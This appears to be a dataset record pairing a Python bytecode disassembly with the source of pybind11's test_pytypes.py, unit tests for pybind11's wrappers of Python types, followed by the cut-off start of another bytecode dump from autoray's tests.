COMPARE_OP == POP_JUMP_IF_TRUE LOAD_GLOBAL AssertionError RAISE_VARARGS LOAD_GLOBAL m LOAD_METHOD sequence_item_set_ssize_t LOAD_FAST lst CALL_METHOD LOAD_CONST None COMPARE_OP is POP_JUMP_IF_TRUE LOAD_GLOBAL AssertionError RAISE_VARARGS LOAD_FAST lst LOAD_CONST 1 BINARY_SUBSCR LOAD_CONST 'peppa' COMPARE_OP == POP_JUMP_IF_TRUE LOAD_GLOBAL AssertionError RAISE_VARARGS LOAD_GLOBAL m LOAD_METHOD sequence_item_get_size_t LOAD_FAST lst CALL_METHOD LOAD_CONST 92 COMPARE_OP == POP_JUMP_IF_TRUE LOAD_GLOBAL AssertionError RAISE_VARARGS LOAD_GLOBAL m LOAD_METHOD sequence_item_set_size_t LOAD_FAST lst CALL_METHOD LOAD_CONST None COMPARE_OP is POP_JUMP_IF_TRUE LOAD_GLOBAL AssertionError RAISE_VARARGS LOAD_FAST lst LOAD_CONST 2 BINARY_SUBSCR LOAD_CONST 'george' COMPARE_OP == POP_JUMP_IF_TRUE LOAD_GLOBAL AssertionError RAISE_VARARGS LOAD_GLOBAL m LOAD_METHOD list_item_get_ssize_t LOAD_FAST lst CALL_METHOD LOAD_CONST 49 COMPARE_OP == POP_JUMP_IF_TRUE LOAD_GLOBAL AssertionError RAISE_VARARGS LOAD_GLOBAL m LOAD_METHOD list_item_set_ssize_t LOAD_FAST lst CALL_METHOD LOAD_CONST None COMPARE_OP is POP_JUMP_IF_TRUE LOAD_GLOBAL AssertionError RAISE_VARARGS LOAD_FAST lst LOAD_CONST 3 BINARY_SUBSCR LOAD_CONST 'rebecca' COMPARE_OP == POP_JUMP_IF_TRUE LOAD_GLOBAL AssertionError RAISE_VARARGS LOAD_GLOBAL m LOAD_METHOD list_item_get_size_t LOAD_FAST lst CALL_METHOD LOAD_CONST 22 COMPARE_OP == POP_JUMP_IF_TRUE LOAD_GLOBAL AssertionError RAISE_VARARGS LOAD_GLOBAL m LOAD_METHOD list_item_set_size_t LOAD_FAST lst CALL_METHOD LOAD_CONST None COMPARE_OP is POP_JUMP_IF_TRUE LOAD_GLOBAL AssertionError RAISE_VARARGS LOAD_FAST lst LOAD_CONST 4 BINARY_SUBSCR LOAD_CONST 'richard' COMPARE_OP == POP_JUMP_IF_TRUE LOAD_GLOBAL AssertionError RAISE_VARARGS LOAD_GLOBAL m LOAD_METHOD tuple_item_get_ssize_t LOAD_FAST tup CALL_METHOD LOAD_CONST 29 COMPARE_OP == EXTENDED_ARG POP_JUMP_IF_TRUE LOAD_GLOBAL AssertionError RAISE_VARARGS LOAD_GLOBAL m LOAD_METHOD tuple_item_set_ssize_t CALL_METHOD LOAD_CONST ('emely', 'edmond') COMPARE_OP == EXTENDED_ARG POP_JUMP_IF_TRUE LOAD_GLOBAL AssertionError RAISE_VARARGS LOAD_GLOBAL m LOAD_METHOD tuple_item_get_size_t LOAD_FAST tup CALL_METHOD LOAD_CONST 93 COMPARE_OP == EXTENDED_ARG POP_JUMP_IF_TRUE LOAD_GLOBAL AssertionError RAISE_VARARGS LOAD_GLOBAL m LOAD_METHOD tuple_item_set_size_t CALL_METHOD LOAD_CONST ('candy', 'cat') COMPARE_OP == EXTENDED_ARG POP_JUMP_IF_TRUE LOAD_GLOBAL AssertionError RAISE_VARARGS LOAD_CONST None RETURN_VALUE LOAD_GLOBAL m LOAD_METHOD square_float_ LOAD_CONST 2.0 CALL_METHOD STORE_FAST r1 LOAD_FAST r1 LOAD_CONST 4.0 COMPARE_OP == POP_JUMP_IF_TRUE LOAD_GLOBAL AssertionError RAISE_VARARGS LOAD_CONST None RETURN_VALUE LOAD_CONST 1000 STORE_FAST pop LOAD_GLOBAL tuple LOAD_GLOBAL range LOAD_FAST pop CALL_FUNCTION CALL_FUNCTION STORE_FAST tup LOAD_GLOBAL m LOAD_METHOD tuple_rvalue_getter LOAD_FAST tup CALL_METHOD POP_TOP LOAD_CONST None RETURN_VALUE LOAD_CONST 1000 STORE_FAST pop LOAD_GLOBAL list LOAD_GLOBAL range LOAD_FAST pop CALL_FUNCTION CALL_FUNCTION STORE_FAST my_list LOAD_GLOBAL m LOAD_METHOD list_rvalue_getter LOAD_FAST my_list CALL_METHOD POP_TOP LOAD_CONST None RETURN_VALUE LOAD_CONST 1000 STORE_FAST pop LOAD_CONST <code object <dictcomp> at 0x7fab7037b390, file "f.py", line 807> LOAD_CONST 'test_populate_dict_rvalue.<locals>.<dictcomp>' MAKE_FUNCTION LOAD_GLOBAL range LOAD_FAST pop CALL_FUNCTION GET_ITER CALL_FUNCTION STORE_FAST my_dict LOAD_GLOBAL m LOAD_METHOD populate_dict_rvalue LOAD_FAST pop CALL_METHOD LOAD_FAST my_dict COMPARE_OP == POP_JUMP_IF_TRUE LOAD_GLOBAL AssertionError RAISE_VARARGS LOAD_CONST None RETURN_VALUE BUILD_MAP LOAD_FAST .0 FOR_ITER to 16 STORE_FAST i LOAD_FAST i LOAD_FAST i MAP_ADD JUMP_ABSOLUTE RETURN_VALUE LOAD_CONST 1000 STORE_FAST pop LOAD_GLOBAL types LOAD_ATTR SimpleNamespace BUILD_TUPLE LOAD_CONST <code object <dictcomp> at 0x7fab7037b4b0, file "f.py", line 813> LOAD_CONST 'test_populate_obj_str_attrs.<locals>.<dictcomp>' MAKE_FUNCTION LOAD_GLOBAL range LOAD_FAST pop CALL_FUNCTION GET_ITER CALL_FUNCTION CALL_FUNCTION STORE_FAST o LOAD_GLOBAL m LOAD_METHOD populate_obj_str_attrs LOAD_FAST o LOAD_FAST pop CALL_METHOD STORE_FAST new_o LOAD_CONST <code object <dictcomp> at 0x7fab7037b540, file "f.py", line 815> LOAD_CONST 'test_populate_obj_str_attrs.<locals>.<dictcomp>' MAKE_FUNCTION LOAD_FAST new_o LOAD_ATTR __dict__ LOAD_METHOD items CALL_METHOD GET_ITER CALL_FUNCTION STORE_FAST new_attrs LOAD_GLOBAL all LOAD_CONST <code object <genexpr> at 0x7fab7037b5d0, file "f.py", line 816> LOAD_CONST 'test_populate_obj_str_attrs.<locals>.<genexpr>' MAKE_FUNCTION LOAD_FAST new_attrs LOAD_METHOD values CALL_METHOD GET_ITER CALL_FUNCTION CALL_FUNCTION POP_JUMP_IF_TRUE LOAD_GLOBAL AssertionError RAISE_VARARGS LOAD_GLOBAL len LOAD_FAST new_attrs CALL_FUNCTION LOAD_FAST pop COMPARE_OP == POP_JUMP_IF_TRUE LOAD_GLOBAL AssertionError RAISE_VARARGS LOAD_CONST None RETURN_VALUE BUILD_MAP LOAD_FAST .0 FOR_ITER to 20 STORE_FAST i LOAD_FAST i LOAD_GLOBAL str LOAD_FAST i CALL_FUNCTION MAP_ADD JUMP_ABSOLUTE RETURN_VALUE BUILD_MAP LOAD_FAST .0 FOR_ITER to 30 UNPACK_SEQUENCE STORE_FAST k STORE_FAST v LOAD_FAST k LOAD_METHOD startswith LOAD_CONST '_' CALL_METHOD POP_JUMP_IF_TRUE LOAD_FAST v LOAD_FAST k MAP_ADD JUMP_ABSOLUTE RETURN_VALUE LOAD_FAST .0 FOR_ITER to 20 STORE_FAST v LOAD_GLOBAL isinstance LOAD_FAST v LOAD_GLOBAL str CALL_FUNCTION YIELD_VALUE POP_TOP JUMP_ABSOLUTE LOAD_CONST None RETURN_VALUE LOAD_FAST a LOAD_FAST b BINARY_ADD STORE_FAST expected LOAD_GLOBAL m LOAD_METHOD inplace_append LOAD_FAST a LOAD_FAST b CALL_METHOD LOAD_FAST expected COMPARE_OP == POP_JUMP_IF_TRUE LOAD_GLOBAL AssertionError RAISE_VARARGS LOAD_CONST None RETURN_VALUE LOAD_FAST a LOAD_FAST b BINARY_SUBTRACT STORE_FAST expected LOAD_GLOBAL m LOAD_METHOD inplace_subtract LOAD_FAST a LOAD_FAST b CALL_METHOD LOAD_FAST expected COMPARE_OP == POP_JUMP_IF_TRUE LOAD_GLOBAL AssertionError RAISE_VARARGS LOAD_CONST None RETURN_VALUE LOAD_FAST a LOAD_FAST b BINARY_MULTIPLY STORE_FAST expected LOAD_GLOBAL m LOAD_METHOD inplace_multiply LOAD_FAST a LOAD_FAST b CALL_METHOD LOAD_FAST expected COMPARE_OP == POP_JUMP_IF_TRUE LOAD_GLOBAL AssertionError RAISE_VARARGS LOAD_CONST None RETURN_VALUE LOAD_FAST a LOAD_FAST b BINARY_TRUE_DIVIDE STORE_FAST expected LOAD_GLOBAL m LOAD_METHOD inplace_divide LOAD_FAST a LOAD_FAST b CALL_METHOD LOAD_FAST expected COMPARE_OP == POP_JUMP_IF_TRUE LOAD_GLOBAL AssertionError RAISE_VARARGS LOAD_CONST None RETURN_VALUE LOAD_FAST a LOAD_FAST b BINARY_OR STORE_FAST expected LOAD_GLOBAL m LOAD_METHOD inplace_or LOAD_FAST a LOAD_FAST b CALL_METHOD LOAD_FAST expected COMPARE_OP == POP_JUMP_IF_TRUE LOAD_GLOBAL AssertionError RAISE_VARARGS LOAD_CONST None RETURN_VALUE LOAD_FAST a LOAD_FAST b BINARY_AND STORE_FAST expected LOAD_GLOBAL m LOAD_METHOD inplace_and LOAD_FAST a LOAD_FAST b CALL_METHOD LOAD_FAST expected COMPARE_OP == POP_JUMP_IF_TRUE LOAD_GLOBAL AssertionError RAISE_VARARGS LOAD_CONST None RETURN_VALUE LOAD_FAST a LOAD_FAST b BINARY_LSHIFT STORE_FAST expected LOAD_GLOBAL m LOAD_METHOD inplace_lshift LOAD_FAST a LOAD_FAST b CALL_METHOD LOAD_FAST expected COMPARE_OP == POP_JUMP_IF_TRUE LOAD_GLOBAL AssertionError RAISE_VARARGS LOAD_CONST None RETURN_VALUE LOAD_FAST a LOAD_FAST b BINARY_RSHIFT STORE_FAST expected LOAD_GLOBAL m LOAD_METHOD inplace_rshift LOAD_FAST a LOAD_FAST b CALL_METHOD LOAD_FAST expected COMPARE_OP == POP_JUMP_IF_TRUE LOAD_GLOBAL AssertionError RAISE_VARARGS LOAD_CONST None RETURN_VALUE
import contextlib import sys import types import pytest import env from pybind11_tests import detailed_error_messages_enabled from pybind11_tests import pytypes as m def test_obj_class_name(): assert m.obj_class_name(None) == "NoneType" assert m.obj_class_name(list) == "list" assert m.obj_class_name([]) == "list" def test_handle_from_move_only_type_with_operator_PyObject(): assert m.handle_from_move_only_type_with_operator_PyObject_ncnst() assert m.handle_from_move_only_type_with_operator_PyObject_const() def test_bool(doc): assert doc(m.get_bool) == "get_bool() -> bool" def test_int(doc): assert doc(m.get_int) == "get_int() -> int" def test_iterator(doc): assert doc(m.get_iterator) == "get_iterator() -> Iterator" @pytest.mark.parametrize( ("pytype", "from_iter_func"), [ (frozenset, m.get_frozenset_from_iterable), (list, m.get_list_from_iterable), (set, m.get_set_from_iterable), (tuple, m.get_tuple_from_iterable), ], ) def test_from_iterable(pytype, from_iter_func): my_iter = iter(range(10)) s = from_iter_func(my_iter) assert type(s) == pytype assert s == pytype(range(10)) def test_iterable(doc): assert doc(m.get_iterable) == "get_iterable() -> Iterable" def test_float(doc): assert doc(m.get_float) == "get_float() -> float" def test_list(capture, doc): assert m.list_no_args() == [] assert m.list_ssize_t() == [] assert m.list_size_t() == [] lins = [1, 2] m.list_insert_ssize_t(lins) assert lins == [1, 83, 2] m.list_insert_size_t(lins) assert lins == [1, 83, 2, 57] with capture: lst = m.get_list() assert lst == ["inserted-0", "overwritten", "inserted-2"] lst.append("value2") m.print_list(lst) assert ( capture.unordered == """ Entry at position 0: value list item 0: inserted-0 list item 1: overwritten list item 2: inserted-2 list item 3: value2 """ ) assert doc(m.get_list) == "get_list() -> list" assert doc(m.print_list) == "print_list(arg0: list) -> None" def test_none(doc): assert doc(m.get_none) == "get_none() -> None" assert doc(m.print_none) == "print_none(arg0: None) -> None" def test_set(capture, doc): s = m.get_set() assert isinstance(s, set) assert s == {"key1", "key2", "key3"} s.add("key4") with capture: m.print_anyset(s) assert ( capture.unordered == """ key: key1 key: key2 key: key3 key: key4 """ ) m.set_add(s, "key5") assert m.anyset_size(s) == 5 m.set_clear(s) assert m.anyset_empty(s) assert not m.anyset_contains(set(), 42) assert m.anyset_contains({42}, 42) assert m.anyset_contains({"foo"}, "foo") assert doc(m.get_set) == "get_set() -> set" assert doc(m.print_anyset) == "print_anyset(arg0: anyset) -> None" def test_frozenset(capture, doc): s = m.get_frozenset() assert isinstance(s, frozenset) assert s == frozenset({"key1", "key2", "key3"}) with capture: m.print_anyset(s) assert ( capture.unordered == """ key: key1 key: key2 key: key3 """ ) assert m.anyset_size(s) == 3 assert not m.anyset_empty(s) assert not m.anyset_contains(frozenset(), 42) assert m.anyset_contains(frozenset({42}), 42) assert m.anyset_contains(frozenset({"foo"}), "foo") assert doc(m.get_frozenset) == "get_frozenset() -> frozenset" def test_dict(capture, doc): d = m.get_dict() assert d == {"key": "value"} with capture: d["key2"] = "value2" m.print_dict(d) assert ( capture.unordered == """ key: key, value=value key: key2, value=value2 """ ) assert not m.dict_contains({}, 42) assert m.dict_contains({42: None}, 42) assert m.dict_contains({"foo": None}, "foo") assert doc(m.get_dict) == "get_dict() -> dict" assert doc(m.print_dict) == "print_dict(arg0: dict) -> None" assert m.dict_keyword_constructor() == {"x": 1, "y": 2, "z": 3} class CustomContains: d = {"key": None} def __contains__(self, m): return m in self.d @pytest.mark.parametrize( ("arg", "func"), [ (set(), m.anyset_contains), ({}, m.dict_contains), (CustomContains(), m.obj_contains), ], ) @pytest.mark.xfail("env.PYPY and sys.pypy_version_info < (7, 3, 10)", strict=False) def test_unhashable_exceptions(arg, func): class Unhashable: __hash__ = None with pytest.raises(TypeError) as exc_info: func(arg, Unhashable()) assert "unhashable type:" in str(exc_info.value) def test_tuple(): assert m.tuple_no_args() == () assert m.tuple_ssize_t() == () assert m.tuple_size_t() == () assert m.get_tuple() == (42, None, "spam") def test_simple_namespace(): ns = m.get_simple_namespace() assert ns.attr == 42 assert ns.x == "foo" assert ns.right == 2 assert not hasattr(ns, "wrong") def test_str(doc): assert m.str_from_char_ssize_t().encode().decode() == "red" assert m.str_from_char_size_t().encode().decode() == "blue" assert m.str_from_string().encode().decode() == "baz" assert m.str_from_bytes().encode().decode() == "boo" assert doc(m.str_from_bytes) == "str_from_bytes() -> str" class A: def __str__(self): return "this is a str" def __repr__(self): return "this is a repr" assert m.str_from_object(A()) == "this is a str" assert m.repr_from_object(A()) == "this is a repr" assert m.str_from_handle(A()) == "this is a str" s1, s2 = m.str_format() assert s1 == "1 + 2 = 3" assert s1 == s2 malformed_utf8 = b"\x80" if hasattr(m, "PYBIND11_STR_LEGACY_PERMISSIVE"): assert m.str_from_object(malformed_utf8) is malformed_utf8 else: assert m.str_from_object(malformed_utf8) == "b'\\x80'" assert m.str_from_handle(malformed_utf8) == "b'\\x80'" assert m.str_from_string_from_str("this is a str") == "this is a str" ucs_surrogates_str = "\udcc3" with pytest.raises(UnicodeEncodeError): m.str_from_string_from_str(ucs_surrogates_str) @pytest.mark.parametrize( "func", [ m.str_from_bytes_input, m.str_from_cstr_input, m.str_from_std_string_input, ], ) def test_surrogate_pairs_unicode_error(func): input_str = "\ud83d\ude4f".encode("utf-8", "surrogatepass") with pytest.raises(UnicodeDecodeError): func(input_str) def test_bytes(doc): assert m.bytes_from_char_ssize_t().decode() == "green" assert m.bytes_from_char_size_t().decode() == "purple" assert m.bytes_from_string().decode() == "foo" assert m.bytes_from_str().decode() == "bar" assert doc(m.bytes_from_str) == "bytes_from_str() -> bytes" def test_bytearray(): assert m.bytearray_from_char_ssize_t().decode() == "$%" assert m.bytearray_from_char_size_t().decode() == "@$!" assert m.bytearray_from_string().decode() == "foo" assert m.bytearray_size() == len("foo") def test_capsule(capture): pytest.gc_collect() with capture: a = m.return_capsule_with_destructor() del a pytest.gc_collect() assert ( capture.unordered == """ creating capsule destructing capsule """ ) with capture: a = m.return_renamed_capsule_with_destructor() del a pytest.gc_collect() assert ( capture.unordered == """ creating capsule renaming capsule destructing capsule """ ) with capture: a = m.return_capsule_with_destructor_2() del a pytest.gc_collect() assert ( capture.unordered == """ creating capsule destructing capsule: 1234 """ ) with capture: a = m.return_capsule_with_destructor_3() del a pytest.gc_collect() assert ( capture.unordered == """ creating capsule destructing capsule: 1233 original name: oname """ ) with capture: a = m.return_renamed_capsule_with_destructor_2() del a pytest.gc_collect() assert ( capture.unordered == """ creating capsule renaming capsule destructing capsule: 1234 """ ) with capture: a = m.return_capsule_with_name_and_destructor() del a pytest.gc_collect() assert ( capture.unordered == """ created capsule (1234, 'pointer type description') destructing capsule (1234, 'pointer type description') """ ) with capture: a = m.return_capsule_with_explicit_nullptr_dtor() del a pytest.gc_collect() assert ( capture.unordered == """ creating capsule with explicit nullptr dtor """ ) def test_accessors(): class SubTestObject: attr_obj = 1 attr_char = 2 class TestObject: basic_attr = 1 begin_end = [1, 2, 3] d = {"operator[object]": 1, "operator[char *]": 2} sub = SubTestObject() def func(self, x, *args): return self.basic_attr + x + sum(args) d = m.accessor_api(TestObject()) assert d["basic_attr"] == 1 assert d["begin_end"] == [1, 2, 3] assert d["operator[object]"] == 1 assert d["operator[char *]"] == 2 assert d["attr(object)"] == 1 assert d["attr(char *)"] == 2 assert d["missing_attr_ptr"] == "raised" assert d["missing_attr_chain"] == "raised" assert d["is_none"] is False assert d["operator()"] == 2 assert d["operator*"] == 7 assert d["implicit_list"] == [1, 2, 3] assert all(x in TestObject.__dict__ for x in d["implicit_dict"]) assert m.tuple_accessor(()) == (0, 1, 2) d = m.accessor_assignment() assert d["get"] == 0 assert d["deferred_get"] == 0 assert d["set"] == 1 assert d["deferred_set"] == 1 assert d["var"] == 99 def test_accessor_moves(): inc_refs = m.accessor_moves() if inc_refs: assert inc_refs == [1, 0, 1, 0, 1, 0, 1, 0, 1, 0, 1, 0, 1, 0] else: pytest.skip("Not defined: PYBIND11_HANDLE_REF_DEBUG") def test_constructors(): """C++ default and converting constructors are equivalent to type calls in Python""" types = [bytes, bytearray, str, bool, int, float, tuple, list, dict, set] expected = {t.__name__: t() for t in types} assert m.default_constructors() == expected data = { bytes: b"41", # Currently no supported or working conversions. bytearray: bytearray(b"41"), str: 42, bool: "Not empty", int: "42", float: "+1e3", tuple: range(3), list: range(3), dict: [("two", 2), ("one", 1), ("three", 3)], set: [4, 4, 5, 6, 6, 6], frozenset: [4, 4, 5, 6, 6, 6], memoryview: b"abc", } inputs = {k.__name__: v for k, v in data.items()} expected = {k.__name__: k(v) for k, v in data.items()} assert m.converting_constructors(inputs) == expected assert m.cast_functions(inputs) == expected noconv1 = m.converting_constructors(expected) for k in noconv1: assert noconv1[k] is expected[k] noconv2 = m.cast_functions(expected) for k in noconv2: assert noconv2[k] is expected[k] def test_non_converting_constructors(): non_converting_test_cases = [ ("bytes", range(10)), ("none", 42), ("ellipsis", 42), ("type", 42), ] for t, v in non_converting_test_cases: for move in [True, False]: with pytest.raises(TypeError) as excinfo: m.nonconverting_constructor(t, v, move) expected_error = ( f"Object of type '{type(v).__name__}' is not an instance of '{t}'" ) assert str(excinfo.value) == expected_error def test_pybind11_str_raw_str(): cvt = m.convert_to_pybind11_str assert cvt("Str") == "Str" assert cvt(b"Bytes") == "b'Bytes'" assert cvt(None) == "None" assert cvt(False) == "False" assert cvt(True) == "True" assert cvt(42) == "42" assert cvt(2**65) == "36893488147419103232" assert cvt(-1.50) == "-1.5" assert cvt(()) == "()" assert cvt((18,)) == "(18,)" assert cvt([]) == "[]" assert cvt([28]) == "[28]" assert cvt({}) == "{}" assert cvt({3: 4}) == "{3: 4}" assert cvt(set()) == "set()" assert cvt({3}) == "{3}" valid_orig = "DZ" valid_utf8 = valid_orig.encode("utf-8") valid_cvt = cvt(valid_utf8) if hasattr(m, "PYBIND11_STR_LEGACY_PERMISSIVE"): assert valid_cvt is valid_utf8 else: assert type(valid_cvt) is str assert valid_cvt == "b'\\xc7\\xb1'" malformed_utf8 = b"\x80" if hasattr(m, "PYBIND11_STR_LEGACY_PERMISSIVE"): assert cvt(malformed_utf8) is malformed_utf8 else: malformed_cvt = cvt(malformed_utf8) assert type(malformed_cvt) is str assert malformed_cvt == "b'\\x80'" def test_implicit_casting(): """Tests implicit casting when assigning or appending to dicts and lists.""" z = m.get_implicit_casting() assert z["d"] == { "char*_i1": "abc", "char*_i2": "abc", "char*_e": "abc", "char*_p": "abc", "str_i1": "str", "str_i2": "str1", "str_e": "str2", "str_p": "str3", "int_i1": 42, "int_i2": 42, "int_e": 43, "int_p": 44, } assert z["l"] == [3, 6, 9, 12, 15] def test_print(capture): with capture: m.print_function() assert ( capture == """ Hello, World! 1 2.0 three True -- multiple args *args-and-a-custom-separator no new line here -- next print flush py::print + str.format = this """ ) assert capture.stderr == "this goes to stderr" with pytest.raises(RuntimeError) as excinfo: m.print_failure() assert str(excinfo.value) == "Unable to convert call argument " + ( "'1' of type 'UnregisteredType' to Python object" if detailed_error_messages_enabled else "'1' to Python object (#define PYBIND11_DETAILED_ERROR_MESSAGES or compile in debug mode for details)" ) def test_hash(): class Hashable: def __init__(self, value): self.value = value def __hash__(self): return self.value class Unhashable: __hash__ = None assert m.hash_function(Hashable(42)) == 42 with pytest.raises(TypeError): m.hash_function(Unhashable()) def test_number_protocol(): for a, b in [(1, 1), (3, 5)]: li = [ a == b, a != b, a < b, a <= b, a > b, a >= b, a + b, a - b, a * b, a / b, a | b, a & b, a ^ b, a >> b, a << b, ] assert m.test_number_protocol(a, b) == li def test_list_slicing(): li = list(range(100)) assert li[::2] == m.test_list_slicing(li) def test_issue2361(): assert m.issue2361_str_implicit_copy_none() == "None" with pytest.raises(TypeError) as excinfo: assert m.issue2361_dict_implicit_copy_none() assert "NoneType" in str(excinfo.value) assert "iterable" in str(excinfo.value) @pytest.mark.parametrize( ("method", "args", "fmt", "expected_view"), [ (m.test_memoryview_object, (b"red",), "B", b"red"), (m.test_memoryview_buffer_info, (b"green",), "B", b"green"), (m.test_memoryview_from_buffer, (False,), "h", [3, 1, 4, 1, 5]), (m.test_memoryview_from_buffer, (True,), "H", [2, 7, 1, 8]), (m.test_memoryview_from_buffer_nativeformat, (), "@i", [4, 7, 5]), ], ) def test_memoryview(method, args, fmt, expected_view): view = method(*args) assert isinstance(view, memoryview) assert view.format == fmt assert list(view) == list(expected_view) @pytest.mark.xfail("env.PYPY", reason="getrefcount is not available") @pytest.mark.parametrize( "method", [ m.test_memoryview_object, m.test_memoryview_buffer_info, ], ) def test_memoryview_refcount(method): buf = b"\x0a\x0b\x0c\x0d" ref_before = sys.getrefcount(buf) view = method(buf) ref_after = sys.getrefcount(buf) assert ref_before < ref_after assert list(view) == list(buf) def test_memoryview_from_buffer_empty_shape(): view = m.test_memoryview_from_buffer_empty_shape() assert isinstance(view, memoryview) assert view.format == "B" assert bytes(view) == b"" def test_test_memoryview_from_buffer_invalid_strides(): with pytest.raises(RuntimeError): m.test_memoryview_from_buffer_invalid_strides() def test_test_memoryview_from_buffer_nullptr(): with pytest.raises(ValueError): m.test_memoryview_from_buffer_nullptr() def test_memoryview_from_memory(): view = m.test_memoryview_from_memory() assert isinstance(view, memoryview) assert view.format == "B" assert bytes(view) == b"\xff\xe1\xab\x37" def test_builtin_functions(): assert m.get_len(list(range(42))) == 42 with pytest.raises(TypeError) as exc_info: m.get_len(i for i in range(42)) assert str(exc_info.value) in [ "object of type 'generator' has no len()", "'generator' has no length", ] # PyPy def test_isinstance_string_types(): assert m.isinstance_pybind11_bytes(b"") assert not m.isinstance_pybind11_bytes("") assert m.isinstance_pybind11_str("") if hasattr(m, "PYBIND11_STR_LEGACY_PERMISSIVE"): assert m.isinstance_pybind11_str(b"") else: assert not m.isinstance_pybind11_str(b"") def test_pass_bytes_or_unicode_to_string_types(): assert m.pass_to_pybind11_bytes(b"Bytes") == 5 with pytest.raises(TypeError): m.pass_to_pybind11_bytes("Str") if hasattr(m, "PYBIND11_STR_LEGACY_PERMISSIVE"): assert m.pass_to_pybind11_str(b"Bytes") == 5 else: with pytest.raises(TypeError): m.pass_to_pybind11_str(b"Bytes") assert m.pass_to_pybind11_str("Str") == 3 assert m.pass_to_std_string(b"Bytes") == 5 assert m.pass_to_std_string("Str") == 3 malformed_utf8 = b"\x80" if hasattr(m, "PYBIND11_STR_LEGACY_PERMISSIVE"): assert m.pass_to_pybind11_str(malformed_utf8) == 1 else: with pytest.raises(TypeError): m.pass_to_pybind11_str(malformed_utf8) @pytest.mark.parametrize( ("create_weakref", "create_weakref_with_callback"), [ (m.weakref_from_handle, m.weakref_from_handle_and_function), (m.weakref_from_object, m.weakref_from_object_and_function), ], ) def test_weakref(create_weakref, create_weakref_with_callback): from weakref import getweakrefcount class WeaklyReferenced: pass callback_called = False def callback(_): nonlocal callback_called callback_called = True obj = WeaklyReferenced() assert getweakrefcount(obj) == 0 wr = create_weakref(obj) assert getweakrefcount(obj) == 1 obj = WeaklyReferenced() assert getweakrefcount(obj) == 0 wr = create_weakref_with_callback(obj, callback) # noqa: F841 assert getweakrefcount(obj) == 1 assert not callback_called del obj pytest.gc_collect() assert callback_called @pytest.mark.parametrize( ("create_weakref", "has_callback"), [ (m.weakref_from_handle, False), (m.weakref_from_object, False), (m.weakref_from_handle_and_function, True), (m.weakref_from_object_and_function, True), ], ) def test_weakref_err(create_weakref, has_callback): class C: __slots__ = [] def callback(_): pass ob = C() with pytest.raises(TypeError) if not env.PYPY else contextlib.nullcontext(): _ = create_weakref(ob, callback) if has_callback else create_weakref(ob) def test_cpp_iterators(): assert m.tuple_iterator() == 12 assert m.dict_iterator() == 305 + 711 assert m.passed_iterator(iter((-7, 3))) == -4 def test_implementation_details(): lst = [39, 43, 92, 49, 22, 29, 93, 98, 26, 57, 8] tup = tuple(lst) assert m.sequence_item_get_ssize_t(lst) == 43 assert m.sequence_item_set_ssize_t(lst) is None assert lst[1] == "peppa" assert m.sequence_item_get_size_t(lst) == 92 assert m.sequence_item_set_size_t(lst) is None assert lst[2] == "george" assert m.list_item_get_ssize_t(lst) == 49 assert m.list_item_set_ssize_t(lst) is None assert lst[3] == "rebecca" assert m.list_item_get_size_t(lst) == 22 assert m.list_item_set_size_t(lst) is None assert lst[4] == "richard" assert m.tuple_item_get_ssize_t(tup) == 29 assert m.tuple_item_set_ssize_t() == ("emely", "edmond") assert m.tuple_item_get_size_t(tup) == 93 assert m.tuple_item_set_size_t() == ("candy", "cat") def test_external_float_(): r1 = m.square_float_(2.0) assert r1 == 4.0 def test_tuple_rvalue_getter(): pop = 1000 tup = tuple(range(pop)) m.tuple_rvalue_getter(tup) def test_list_rvalue_getter(): pop = 1000 my_list = list(range(pop)) m.list_rvalue_getter(my_list) def test_populate_dict_rvalue(): pop = 1000 my_dict = {i: i for i in range(pop)} assert m.populate_dict_rvalue(pop) == my_dict def test_populate_obj_str_attrs(): pop = 1000 o = types.SimpleNamespace(**{str(i): i for i in range(pop)}) new_o = m.populate_obj_str_attrs(o, pop) new_attrs = {k: v for k, v in new_o.__dict__.items() if not k.startswith("_")} assert all(isinstance(v, str) for v in new_attrs.values()) assert len(new_attrs) == pop @pytest.mark.parametrize( ("a", "b"), [("foo", "bar"), (1, 2), (1.0, 2.0), (list(range(3)), list(range(3, 6)))], ) def test_inplace_append(a, b): expected = a + b assert m.inplace_append(a, b) == expected @pytest.mark.parametrize( ("a", "b"), [(3, 2), (3.0, 2.0), (set(range(3)), set(range(2)))] ) def test_inplace_subtract(a, b): expected = a - b assert m.inplace_subtract(a, b) == expected @pytest.mark.parametrize(("a", "b"), [(3, 2), (3.0, 2.0), ([1], 3)]) def test_inplace_multiply(a, b): expected = a * b assert m.inplace_multiply(a, b) == expected @pytest.mark.parametrize(("a", "b"), [(6, 3), (6.0, 3.0)]) def test_inplace_divide(a, b): expected = a / b assert m.inplace_divide(a, b) == expected @pytest.mark.parametrize( ("a", "b"), [ (False, True), ( set(), { 1, }, ), ], ) def test_inplace_or(a, b): expected = a | b assert m.inplace_or(a, b) == expected @pytest.mark.parametrize( ("a", "b"), [ (True, False), ( {1, 2, 3}, { 1, }, ), ], ) def test_inplace_and(a, b): expected = a & b assert m.inplace_and(a, b) == expected @pytest.mark.parametrize(("a", "b"), [(8, 1), (-3, 2)]) def test_inplace_lshift(a, b): expected = a << b assert m.inplace_lshift(a, b) == expected @pytest.mark.parametrize(("a", "b"), [(8, 1), (-2, 2)]) def test_inplace_rshift(a, b): expected = a >> b assert m.inplace_rshift(a, b) == expected
data/osmium-3.7.0/contrib/pybind11/tests/test_pytypes.py
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9,016
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LOAD_CONST 0 LOAD_CONST None IMPORT_NAME functools STORE_NAME functools LOAD_CONST 0 LOAD_CONST None IMPORT_NAME re STORE_NAME re LOAD_CONST 0 LOAD_CONST None IMPORT_NAME pytest STORE_NAME pytest LOAD_CONST 0 LOAD_CONST ('do', 'lazy', 'to_numpy', 'infer_backend', 'astype', 'shape') IMPORT_NAME autoray IMPORT_FROM do STORE_NAME do IMPORT_FROM lazy STORE_NAME lazy IMPORT_FROM to_numpy STORE_NAME to_numpy IMPORT_FROM infer_backend STORE_NAME infer_backend IMPORT_FROM astype STORE_NAME astype IMPORT_FROM shape STORE_NAME shape POP_TOP LOAD_CONST 0 LOAD_CONST ('assert_allclose', 'assert_raises') IMPORT_NAME numpy.testing IMPORT_FROM assert_allclose STORE_NAME assert_allclose IMPORT_FROM assert_raises STORE_NAME assert_raises POP_TOP LOAD_CONST 1 LOAD_CONST ('BACKENDS', 'gen_rand') IMPORT_NAME test_autoray IMPORT_FROM BACKENDS STORE_NAME BACKENDS IMPORT_FROM gen_rand STORE_NAME gen_rand POP_TOP LOAD_CONST <code object test_manual_construct at 0x7fab54261150, file "f.py", line 12> LOAD_CONST 'test_manual_construct' MAKE_FUNCTION STORE_NAME test_manual_construct LOAD_CONST <code object 